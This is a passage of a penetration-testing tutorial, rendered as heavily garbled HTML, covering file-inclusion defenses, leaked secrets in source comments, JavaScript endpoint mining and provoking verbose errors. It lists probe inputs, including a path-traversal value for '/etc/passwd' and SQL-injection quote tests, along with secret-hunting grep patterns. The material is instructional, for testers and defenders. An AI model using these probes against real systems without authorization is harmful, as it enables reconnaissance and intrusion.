&amp;lt;td&amp;gt;Direct RCE&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;No (requires chaining)&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Yes (immediate)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Prerequisites&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;None&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;allow_url_include enabled&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Modern prevalence&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Common&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Less common (PHP disabled by default)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Stealth&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Reads local files (may trigger file audit logs)&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Makes outbound HTTP request (detectable in outbound logs)&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td&amp;gt;Key bypass technique&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Log poisoning, wrapper abuse&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;Hosting malicious file remotely&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="defending-against-file-inclusion" href="#defending-against-file-inclusion" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Defending Against File Inclusion
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Primary defense — Never use user input in include/require:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`php&amp;lt;br&amp;gt;
// SECURE: whitelist approach&amp;lt;br&amp;gt;
$allowed_pages = ['home', 'about', 'contact', 'products'];&amp;lt;br&amp;gt;
$page = $_GET['page'];&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;if (!in_array($page, $allowed_pages)) {&amp;lt;br&amp;gt;
    include('404.php');&amp;lt;br&amp;gt;
    exit();&amp;lt;br&amp;gt;
}&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;include($page . '.php');&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Configuration hardening:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`ini&amp;lt;br&amp;gt;
; php.ini — disable remote inclusion:&amp;lt;br&amp;gt;
allow_url_fopen = Off&amp;lt;br&amp;gt;
allow_url_include = Off&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;; Disable dangerous PHP wrappers:&amp;lt;br&amp;gt;
; (Use Suhosin PHP extension for this)&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;; Restrict file operations to web root:&amp;lt;br&amp;gt;
open_basedir = /var/www/html:/tmp&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h2&amp;gt;
  &amp;lt;a name="612-exploiting-insecure-code-practices" href="#612-exploiting-insecure-code-practices" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12 Exploiting Insecure Code Practices
&amp;lt;/h2&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6121-overview-the-code-quality-→-security-relationship" href="#6121-overview-the-code-quality-→-security-relationship" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.1 Overview — The Code Quality → Security Relationship
&amp;lt;/h3&amp;gt;

&amp;lt;p&amp;gt;There is a consistent pattern in web application security: the applications with the most severe vulnerabilities are also the applications with the poorest overall code quality. This is not coincidental — it reflects the same underlying engineering discipline (or lack thereof).&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;An application where developers write verbose debug comments in production code is also likely to have inadequate input validation. An application with hard-coded credentials is also likely to have authorization checks as an afterthought. Poor engineering discipline manifests consistently across all dimensions of code quality.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Section 6.12 addresses the class of vulnerabilities that stem directly from insecure coding habits — practices that no security-aware developer should follow, yet which appear persistently in production applications because they are convenient, because the team prioritized shipping over security, or because the security implications were never understood.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;These are also among the most immediately impactful findings in a penetration test, because they often require no sophisticated attack technique — they require only observation. Reading HTML source code, triggering an error, or examining an API response can reveal credentials, system architecture, and exploitable logic flaws that sophisticated attackers would spend days attempting to discover through more technical means.&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6122-comments-in-source-code" href="#6122-comments-in-source-code" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.2 Comments in Source Code
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="the-problem-development-artifacts-left-in-production" href="#the-problem-development-artifacts-left-in-production" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The Problem — Development Artifacts Left in Production
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Comments are a normal and valuable part of software development. They explain why a function works the way it does, document parameters, and communicate between developers. The problem is when sensitive information is left in comments that become part of the output — visible to anyone who views the page source.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;In HTML and JavaScript that is delivered to the browser, every comment is readable by any user who opens the browser's developer tools or views the page source. Developers often leave comments from the development process — test credentials, internal endpoint paths, business logic notes, debugging information — without considering that this code will be delivered to potentially hostile clients.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;What to look for in HTML comments:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`html&amp;lt;/p&amp;gt;

&amp;lt;!-- TODO: Remove test credentials before deployment: admin/Test123! --&amp;gt;

&amp;lt;!-- Dev endpoint: /api/v2/internal/admin-override --&amp;gt;

&amp;lt;!-- This form bypasses auth for legacy compatibility - fix after launch --&amp;gt;

&amp;lt;!-- Database: prod-db-01.corp.local:3306, user: webapp, pass: Pr0d_DB_2024! --&amp;gt;

&amp;lt;!-- NOTE: Skip validation if is_admin cookie is set to 1 --&amp;gt;

&amp;lt;!-- AWS key: AKIAIOSFODNN7EXAMPLE, secret: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY --&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Every one of these examples is representative of real findings from real penetration tests. The pattern is so consistent that viewing source code and HTML comments is one of the first things a professional web application tester does on any target.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;JavaScript files are even richer:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;JavaScript is delivered in full to the browser — including all function implementations, all internal endpoint paths used by the application's AJAX calls, and any comments or dead code:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`javascript&amp;lt;br&amp;gt;
// OLD ADMIN ENDPOINT - DO NOT USE IN PROD (but left for backward compat)&amp;lt;br&amp;gt;
// GET /api/v1/superadmin/users returns all users without auth check&amp;lt;br&amp;gt;
var adminEndpoint = '/api/v1/superadmin/users';&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;// Test credentials: &amp;lt;a href="mailto:testuser@example.com"&amp;gt;testuser@example.com&amp;lt;/a&amp;gt; / T3st_p@ssword&amp;lt;br&amp;gt;
// TODO: Remove before going live&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;function debugMode() {&amp;lt;br&amp;gt;
    // This function disables CSRF checking for testing&amp;lt;br&amp;gt;
    // Called by: if (location.hash === '#debug') enableDebug();&amp;lt;br&amp;gt;
}&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;That last comment is extraordinary in a real application: it reveals that navigating to &amp;lt;code&amp;gt;https://target.com/#debug&amp;lt;/code&amp;gt; calls a function that disables CSRF protection. A complete CSRF defense is broken by a hidden debug feature, revealed through a comment.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Systematic JavaScript comment mining:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="download-all-javascript-files-from-a-site-and-search-for-sensitive-patterns" href="#download-all-javascript-files-from-a-site-and-search-for-sensitive-patterns" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Download all JavaScript files from a site and search for sensitive patterns:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="1-from-burp-site-map-→-rightclick-target-→-copy-urls-in-scope" href="#1-from-burp-site-map-→-rightclick-target-→-copy-urls-in-scope" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  1. From Burp: Site Map → right-click target → "Copy URLs in scope"
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="2-use-wget-to-mirror-the-sites-js-files" href="#2-use-wget-to-mirror-the-sites-js-files" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  2. Use wget to mirror the site's JS files:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;wget -r -l2 -A.js &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -P /tmp/js_files/&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="3-search-for-sensitive-patterns" href="#3-search-for-sensitive-patterns" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  3. Search for sensitive patterns:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;grep -rn "TODO|FIXME|password|passwd|secret|key|token|api|endpoint|admin|debug|test|staging" \&amp;lt;br&amp;gt;
  /tmp/js_files/ --include="*.js" -i&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="4-look-for-commentedout-html-endpoints" href="#4-look-for-commentedout-html-endpoints" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  4. Look for commented-out HTML endpoints:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;grep -rn "&amp;lt;!--|http://|/api/|/admin|/internal" /tmp/js_files/&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="tools-for-automated-secret-detection-in-javascript" href="#tools-for-automated-secret-detection-in-javascript" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Tools for automated secret detection in JavaScript:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="trufflehog-works-on-urls-too" href="#trufflehog-works-on-urls-too" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  trufflehog (works on URLs too):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;trufflehog filesystem /tmp/js_files/&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="secretlint" href="#secretlint" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  secretlint:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;secretlint /tmp/js_files/*&amp;lt;em&amp;gt;/&amp;lt;/em&amp;gt;.js&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="jsfinder-finds-endpoints-and-secrets-in-js" href="#jsfinder-finds-endpoints-and-secrets-in-js" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  jsfinder - finds endpoints and secrets in JS:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 jsfinder.py -i &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -r&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Endpoint discovery from JavaScript:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Modern Single-Page Applications (SPAs) built with React, Vue, or Angular bundle all their JavaScript into one or a few large files. These files contain every API endpoint the application uses. By extracting these endpoints, you build a complete map of the application's API surface — including endpoints that may not be accessible through the UI:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="linkfinder-extract-endpoints-from-javascript-files" href="#linkfinder-extract-endpoints-from-javascript-files" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  LinkFinder - extract endpoints from JavaScript files:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 linkfinder.py -i &amp;lt;a href="https://target.com"&amp;gt;https://target.com&amp;lt;/a&amp;gt; -d -o cli&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="or-target-a-specific-js-file" href="#or-target-a-specific-js-file" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Or target a specific JS file:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;python3 linkfinder.py -i &amp;lt;a href="https://target.com/static/app.bundle.js"&amp;gt;https://target.com/static/app.bundle.js&amp;lt;/a&amp;gt; -o cli&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="manually-in-browser-open-devtools-→-sources-→-search-for-api-patterns" href="#manually-in-browser-open-devtools-→-sources-→-search-for-api-patterns" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Manually in browser: open DevTools → Sources → search for API patterns
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="search-for-api-fetch-xmlhttprequest-ajax-axiosget" href="#search-for-api-fetch-xmlhttprequest-ajax-axiosget" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Search for: /api/, fetch(, XMLHttpRequest, $.ajax, axios.get
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6123-lack-of-error-handling-and-overly-verbose-error-handling" href="#6123-lack-of-error-handling-and-overly-verbose-error-handling" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.12.3 Lack of Error Handling and Overly Verbose Error Handling
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="why-error-messages-are-a-reconnaissance-goldmine" href="#why-error-messages-are-a-reconnaissance-goldmine" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Why Error Messages Are a Reconnaissance Goldmine
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;When an application encounters an unexpected condition — an invalid database query, a malformed request, a missing required parameter — it must decide what to tell the user. The secure answer is: very little. "Something went wrong. Please try again." The common answer in development-mode or poorly configured production applications is: everything.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;A verbose error message is simultaneously a sign of poor code quality and an intelligence asset for an attacker. A single stack trace can reveal:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;The programming language and runtime version&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The web framework and its version&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The database system and version&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The server-side file structure&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The internal class and method names&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;The exact query that failed (exposing table names, column names, and query logic)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Internal IP addresses and hostnames&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Configuration values that leaked into the error context&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;What different error types reveal:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;PHP errors:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;br&amp;gt;
Fatal error: Uncaught PDOException: SQLSTATE[42000]: &amp;lt;br&amp;gt;
Syntax error or access violation: &amp;lt;br&amp;gt;
1064 You have an error in your SQL syntax; &amp;lt;br&amp;gt;
check the manual that corresponds to your MySQL 8.0.33 server&amp;lt;br&amp;gt;
for the right syntax to use near '''' at line 1&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;in /var/www/html/application/models/UserModel.php:142&amp;lt;br&amp;gt;
Stack trace:&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="0-varwwwhtmlapplicationmodelsusermodelphp142-pdogtquery" href="#0-varwwwhtmlapplicationmodelsusermodelphp142-pdogtquery" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  0 /var/www/html/application/models/UserModel.php(142): PDO-&amp;gt;query()
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="1-varwwwhtmlapplicationcontrollersauthcontrollerphp67-usermodelgtgetuser" href="#1-varwwwhtmlapplicationcontrollersauthcontrollerphp67-usermodelgtgetuser" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  1 /var/www/html/application/controllers/AuthController.php(67): UserModel-&amp;gt;getUser()
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;This single error reveals: MySQL 8.0.33, the database type is MySQL, the file system path is &amp;lt;code&amp;gt;/var/www/html/&amp;lt;/code&amp;gt;, the application has &amp;lt;code&amp;gt;models/&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;controllers/&amp;lt;/code&amp;gt; directories, the authentication controller is &amp;lt;code&amp;gt;AuthController.php&amp;lt;/code&amp;gt;, and the user retrieval method is &amp;lt;code&amp;gt;getUser()&amp;lt;/code&amp;gt; — plus a SQL syntax error that confirms SQL injection is possible.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Python/Django errors:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;br&amp;gt;
Traceback (most recent call last):&amp;lt;br&amp;gt;
  File "/usr/local/lib/python3.10/site-packages/django/core/handlers/exception.py", line 55, in inner&amp;lt;br&amp;gt;
    response = get_response(request)&amp;lt;br&amp;gt;
  File "/app/views.py", line 23, in profile_view&amp;lt;br&amp;gt;
    user = User.objects.get(username=request.GET['user'])&amp;lt;br&amp;gt;
django.contrib.auth.models.User.DoesNotExist: User matching query does not exist.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Request Method: GET&amp;lt;br&amp;gt;
Request URL: &amp;lt;a href="https://target.com/profile/?user=alice"&amp;gt;https://target.com/profile/?user=alice&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
Django Version: 3.2.15&amp;lt;br&amp;gt;
Exception Type: DoesNotExist&amp;lt;br&amp;gt;
Python Version: 3.10.4&amp;lt;br&amp;gt;
Server time: Wed, 15 Jul 2026 10:30:00 +0000&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Django version 3.2.15. Python 3.10.4. The source code line &amp;lt;code&amp;gt;User.objects.get(username=request.GET['user'])&amp;lt;/code&amp;gt; is shown — directly revealing the query structure for user lookup and confirming the parameter name.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Java/Spring stack traces:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;br&amp;gt;
java.lang.NullPointerException: Cannot invoke &amp;lt;br&amp;gt;
"com.targetapp.models.User.getEmail()" because "user" is null&amp;lt;br&amp;gt;
    at com.targetapp.controllers.AccountController.updateProfile(AccountController.java:145)&amp;lt;br&amp;gt;
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)&amp;lt;br&amp;gt;
    ...&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Caused by: org.springframework.dao.EmptyResultDataAccessException: &amp;lt;br&amp;gt;
Incorrect result size: expected 1, actual 0&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Reveals: Java Spring framework, package structure (&amp;lt;code&amp;gt;com.targetapp&amp;lt;/code&amp;gt;), controller name (&amp;lt;code&amp;gt;AccountController&amp;lt;/code&amp;gt;), database interaction pattern.&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="provoking-informative-errors" href="#provoking-informative-errors" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Provoking Informative Errors
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;A key penetration testing technique is deliberately triggering errors to extract information:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="sql-syntax-errors-to-confirm-sqli-and-learn-database-type" href="#sql-syntax-errors-to-confirm-sqli-and-learn-database-type" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  SQL syntax errors (to confirm SQLi and learn database type):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?id='&amp;lt;br&amp;gt;
?id=1'&amp;lt;br&amp;gt;
?search=&amp;lt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="type-mismatch-errors" href="#type-mismatch-errors" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Type mismatch errors:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?user_id=alice         # If expecting integer&amp;lt;br&amp;gt;
?page=99999999         # Out of range ID&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="missing-required-parameters" href="#missing-required-parameters" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Missing required parameters:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="remove-parameters-from-post-requests-to-see-validation-errors" href="#remove-parameters-from-post-requests-to-see-validation-errors" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Remove parameters from POST requests to see validation errors
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="malformed-jsonxml" href="#malformed-jsonxml" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Malformed JSON/XML:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="send-user-invalidjson" href="#send-user-invalidjson" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Send: {"user": invalid_json}
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="or-ltunclosed" href="#or-ltunclosed" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Or: &amp;lt;root&amp;gt;&amp;lt;unclosed
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="very-long-input" href="#very-long-input" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Very long input:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?name=AAAAAAAAAA...  # 10000+ characters&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="special-characters-that-break-parsers" href="#special-characters-that-break-parsers" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Special characters that break parsers:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?param=../../etc/passwd    # Path traversal + error on some systems&amp;lt;br&amp;gt;
?param=null&amp;lt;br&amp;gt;
?param=undefined&amp;lt;br&amp;gt;
?param[]                   # Array-type parameter confusion&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="http-method-mismatch" href="#http-method-mismatch" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  HTTP method mismatch:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="send-delete-to-a-route-expecting-get" href="#send-delete-to-a-route-expecting-get" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Send DELETE to a route expecting GET
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="send-put-to-a-route-expecting-post" href="#send-put-to-a-route-expecting-post" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Send PUT to a route expecting POST
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="contenttype-mismatch" href="#contenttype-mismatch" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Content-Type mismatch:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="send-json-with-contenttype-applicationxml" href="#send-json-with-contenttype-applicationxml" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Send JSON with Content-Type: application/xml
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="send-xml-with-contenttype-applicationjson" href="#send-xml-with-contenttype-applicationjson" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Send XML with Content-Type: application/json
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Checking for debug panels accidentally exposed in production:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="django-debug-mode-endpoint" href="#django-debug-mode-endpoint" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Django debug mode endpoint:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="https://target.com/__debug__/"&amp;gt;https://target.com/__debug__/&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="laravel-telescope-debug-dashboard" href="#laravel-telescope-debug-dashboard" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Laravel Telescope (debug dashboard):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="https://target.com/telescope"&amp;gt;https://target.com/telescope&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="flask-debug-console" href="#flask-debug-console" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Flask debug console:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="https://target.com/console"&amp;gt;https://target.com/console&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="rails-debug" href="#rails-debug" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Rails debug:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;a href="https://target.com/rails/info/properties"&amp;gt;https://target.com/rails/info/properties&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="php-xdebug-listener-check-for-port-9000" href="#php-xdebug-listener-check-for-port-9000" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  PHP Xdebug listener (check for port 9000):
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="nmap-scan-nmap-p-9000-targetcom" href="#nmap-scan-nmap-p-9000-targetcom" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  nmap scan: nmap -p 9000 target.com
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="spring-boot-actuator-endpoints-massive-information-disclosure" href="#spring-boot-actuator-endpoints-massive-information-disclosure" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Spring Boot Actuator endpoints (massive information disclosure):
&amp;lt;/h1&amp;gt;

